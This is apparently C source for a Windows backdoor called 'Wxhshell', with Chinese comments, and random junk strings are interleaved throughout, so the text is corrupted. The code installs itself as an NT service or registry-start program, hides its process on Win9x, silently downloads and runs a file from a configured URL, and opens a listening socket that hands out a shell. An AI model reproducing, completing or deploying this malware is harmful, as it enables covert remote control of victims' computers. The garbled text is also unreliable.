XHy.&Vt *x)8fAr if (!NtQueryInformationProcess) return 0; TW^/sx Lq>&d,F06) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z.rh]Zq if(!hProcess) return 0; rL5z]RY t5lO'Ll*Q] if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b9XW9O`B />j';6vi CloseHandle(hProcess); eW>3XD4 XerbUkZ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 95<EN(oUD if(hProcess==NULL) return 0; %2V-~.Ro6 Rml2"9"` HMODULE hMod;
RDtU43 char procName[255]; =rR~ ` unsigned long cbNeeded; X(7qZ
P~ (mlzg=szW if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )3h^Y=43 !s@Rok CloseHandle(hProcess); ^3hn0DVQ e]Zngt?b if(strstr(procName,"services")) return 1; // 以服务启动 al20V !@'%G6:. return 0; // 注册表启动 -)~SM& } -[qq(E K6olYG> // 主模块 wd/<
8>2X int StartWxhshell(LPSTR lpCmdLine) . <tq61 { jV8q)=}*) SOCKET wsl; hkOsm6 BOOL val=TRUE; jP~Z`yf int port=0; rS1fK1dys struct sockaddr_in door; *Y@nVi RyRpl*^ if(wscfg.ws_autoins) Install(); Pm$q]A~ I7&_Xr port=atoi(lpCmdLine); e${>#> #Mg]GeDJ{ if(port<=0) port=wscfg.ws_port; BYKoel zB?
V_aT WSADATA data; 0cT*z( if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,hVvve,j} 3<F </ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?2Kt'1s# setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =tU{7i*+ door.sin_family = AF_INET; 9h0X &1u door.sin_addr.s_addr = inet_addr("127.0.0.1"); wKH ::! door.sin_port = htons(port); M3~K,$@ XO <y+ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -rKO
)} closesocket(wsl); ^V|Oxp'7_ return 1; ;=? ~
-_ } oBUxKisW )a3IQrf= if(listen(wsl,2) == INVALID_SOCKET) { IL_d:HF|1 closesocket(wsl); .%zy`n return 1; ejA%%5q } \cLSf= Wxhshell(wsl); 6DZ),F,M WSACleanup(); Iyo@r%I &P,^.' return 0; ?X&6M;Zi W>b(Om_% } MC&\bf _sy'.Fo // 以NT服务方式启动 H_?o-L?+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CU7F5@+ { ^2wLxXO6 DWORD status = 0; VxzkQ}o DWORD specificError = 0xfffffff; 6'W [{gzl -TZ p
FT" serviceStatus.dwServiceType = SERVICE_WIN32; KQ[!o!% serviceStatus.dwCurrentState = SERVICE_START_PENDING; =H<0o?8?c serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JCY~W=;v serviceStatus.dwWin32ExitCode = 0;
8L*GE serviceStatus.dwServiceSpecificExitCode = 0; =:SN1#G3n serviceStatus.dwCheckPoint = 0; \Ofw8=N-2 serviceStatus.dwWaitHint = 0; MV=9!{` {_U
Kttp hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I-agZag% if (hServiceStatusHandle==0) return; OTZ_c1"K 1T)Zh+?)} status = GetLastError(); `m.eM if (status!=NO_ERROR) )+H[kiN { k0Ek:MjJr serviceStatus.dwCurrentState = SERVICE_STOPPED; nv<` K9d serviceStatus.dwCheckPoint = 0; 1.q_f<U serviceStatus.dwWaitHint = 0; s6o>m*{ serviceStatus.dwWin32ExitCode = status; M/z}p serviceStatus.dwServiceSpecificExitCode = specificError; 8z5# ]u; SetServiceStatus(hServiceStatusHandle, &serviceStatus); $0^P0RAH return; {7MjP+\ } !,Zp? g) V3mAvmx serviceStatus.dwCurrentState = SERVICE_RUNNING; PIXL6 serviceStatus.dwCheckPoint = 0; {RB-lfrWs serviceStatus.dwWaitHint = 0; HMY@F_qY`u if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ol$WpM } )~jqW=d
2 K)Zlc0e // 处理NT服务事件,比如:启动、停止 71C42=AU VOID WINAPI NTServiceHandler(DWORD fdwControl) =:+0)t=ao { 9%sM*[A switch(fdwControl) DF {OnF { \C5%\4 case SERVICE_CONTROL_STOP: @/UfDye serviceStatus.dwWin32ExitCode = 0; Iak0 [6Ey serviceStatus.dwCurrentState = SERVICE_STOPPED; x7T+> serviceStatus.dwCheckPoint = 0; 6Fy@s serviceStatus.dwWaitHint = 0; Y\v-,xPm { bAr` E SetServiceStatus(hServiceStatusHandle, &serviceStatus); D5?phyC[Z } [@fz1{* return; wNE$6 case SERVICE_CONTROL_PAUSE: zX{ .^| serviceStatus.dwCurrentState = SERVICE_PAUSED; EC<b3 break; O3V.^_k; case SERVICE_CONTROL_CONTINUE: l.nH?kK< serviceStatus.dwCurrentState = SERVICE_RUNNING; F~U!1) break; ]TstSF= case SERVICE_CONTROL_INTERROGATE: irTv4ZE'+l break; 0uCT+- }; vw<K}z SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q+i\8RJ } ?*r!{3T ,u 6#A:}B<? // 标准应用程序主函数 c-j_IN Gm int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H(Ms^8Vs~: { A>.2OC+ &@ 3m-Z // 获取操作系统版本
z&4~x!-_ OsIsNt=GetOsVer(); fRTo.u GetModuleFileName(NULL,ExeFile,MAX_PATH); Mp\<cE 6aOp[-Le // 从命令行安装 z1,tJH0 if(strpbrk(lpCmdLine,"iI")) Install(); (bn
Zy0 + E"[ // 下载执行文件 \.e4.[%[2- if(wscfg.ws_downexe) { #t!}K_ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4 c'4*`I WinExec(wscfg.ws_filenam,SW_HIDE); (P6vOo } 6g>)6ux>aV AY_Q""v if(!OsIsNt) { o/^;@5\ // 如果时win9x,隐藏进程并且设置为注册表启动 TJ6#P<M HideProc(); 59Sw+iZj StartWxhshell(lpCmdLine); NHX>2-b } \Btk;ivg else [RU
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if(StartFromService()) oQ+61!5> // 以服务方式启动 (foBp StartServiceCtrlDispatcher(DispatchTable); u@%|kc` else jJwkuh8R // 普通方式启动 N<z`yV StartWxhshell(lpCmdLine); |s gXh9%x< 5nCu~<uJ return 0; ``?6=mO }
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